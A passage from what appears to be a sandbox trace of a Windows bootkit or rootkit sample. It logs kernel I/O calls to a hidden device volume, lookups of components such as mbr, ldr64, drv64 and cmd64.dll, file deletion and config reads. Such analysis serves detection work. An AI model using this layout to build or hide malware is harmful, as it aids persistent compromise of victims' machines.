ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.539] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.539] IdePortDispatch () returned 0x103 [0117.539] KeWaitForMutexObject () returned 0x0 [0117.539] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.539] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.539] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.539] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.539] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.539] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.540] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.540] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.540] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.540] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.540] KeLeaveCriticalRegion () [0117.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.540] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.540] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.540] KeEnterCriticalRegion () [0117.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.540] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.540] IdePortDispatch () returned 0x103 [0117.540] KeWaitForMutexObject () returned 0x0 [0117.540] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.540] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.540] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.540] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.540] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.540] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.540] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.540] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.540] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.540] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.540] KeLeaveCriticalRegion () [0117.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.540] ReleaseMutex (hMutex=0x100) returned 1 [0117.541] Sleep (dwMilliseconds=0x2bf20) [0117.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69423070, dwHighDateTime=0x1d24fa4)) [0117.547] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.547] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.547] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.547] KeEnterCriticalRegion () [0117.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.547] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.547] IdePortDispatch () returned 0x103 [0117.547] KeWaitForMutexObject () returned 0x0 [0117.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.547] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.547] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.547] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.547] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.547] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da940 [0117.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] KeLeaveCriticalRegion () [0117.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.547] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.547] KeEnterCriticalRegion () [0117.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] KeLeaveCriticalRegion () [0117.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.548] KeEnterCriticalRegion () [0117.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.548] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.548] IdePortDispatch () returned 0x103 [0117.548] KeWaitForMutexObject () returned 0x0 [0117.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.548] KeLeaveCriticalRegion () [0117.548] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.548] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.548] KeEnterCriticalRegion () [0117.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc9000 [0117.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.548] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.548] IdePortDispatch () returned 0x103 [0117.550] KeWaitForMutexObject () returned 0x0 [0117.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.550] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.550] IdePortDispatch () returned 0x103 [0117.550] KeWaitForMutexObject () returned 0x0 [0117.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.550] KeLeaveCriticalRegion () [0117.550] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.551] KeEnterCriticalRegion () [0117.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] KeLeaveCriticalRegion () [0117.551] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.551] KeEnterCriticalRegion () [0117.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.551] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039daa00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] KeLeaveCriticalRegion () [0117.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.551] KeEnterCriticalRegion () [0117.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] ExFreePoolWithTag (P=0xfffffa80039da940, Tag=0x0) [0117.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] KeLeaveCriticalRegion () [0117.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.551] ReleaseMutex (hMutex=0xf0) returned 1 [0117.551] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.551] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.551] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.551] KeEnterCriticalRegion () [0117.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.551] IdePortDispatch () returned 0x103 [0117.551] KeWaitForMutexObject () returned 0x0 [0117.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.552] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.552] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.552] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.552] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.552] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dab90 [0117.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] KeLeaveCriticalRegion () [0117.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.552] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.552] KeEnterCriticalRegion () [0117.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] KeLeaveCriticalRegion () [0117.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.552] KeEnterCriticalRegion () [0117.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.552] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.552] IdePortDispatch () returned 0x103 [0117.552] KeWaitForMutexObject () returned 0x0 [0117.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] KeLeaveCriticalRegion () [0117.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.552] KeEnterCriticalRegion () [0117.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cca000 [0117.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.552] IdePortDispatch () returned 0x103 [0117.553] KeWaitForMutexObject () returned 0x0 [0117.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.553] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.553] IdePortDispatch () returned 0x103 [0117.553] KeWaitForMutexObject () returned 0x0 [0117.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.553] KeLeaveCriticalRegion () [0117.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.553] KeEnterCriticalRegion () [0117.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] KeLeaveCriticalRegion () [0117.554] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.554] KeEnterCriticalRegion () [0117.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.554] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] KeLeaveCriticalRegion () [0117.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.554] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.554] KeEnterCriticalRegion () [0117.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] ExFreePoolWithTag (P=0xfffffa80039dab90, Tag=0x0) [0117.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] KeLeaveCriticalRegion () [0117.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.554] ReleaseMutex (hMutex=0xf0) returned 1 [0117.554] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.554] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.554] KeEnterCriticalRegion () [0117.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.554] IdePortDispatch () returned 0x103 [0117.554] KeWaitForMutexObject () returned 0x0 [0117.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.554] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.554] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.554] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.554] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.554] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] KeLeaveCriticalRegion () [0117.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.555] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.555] KeEnterCriticalRegion () [0117.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] KeLeaveCriticalRegion () [0117.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.555] KeEnterCriticalRegion () [0117.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.555] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.555] IdePortDispatch () returned 0x103 [0117.555] KeWaitForMutexObject () returned 0x0 [0117.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] KeLeaveCriticalRegion () [0117.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.555] KeEnterCriticalRegion () [0117.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccb000 [0117.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.555] IdePortDispatch () returned 0x103 [0117.555] KeWaitForMutexObject () returned 0x0 [0117.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.556] IdePortDispatch () returned 0x103 [0117.556] KeWaitForMutexObject () returned 0x0 [0117.556] ExReleaseFastMutexUnsafe (in: 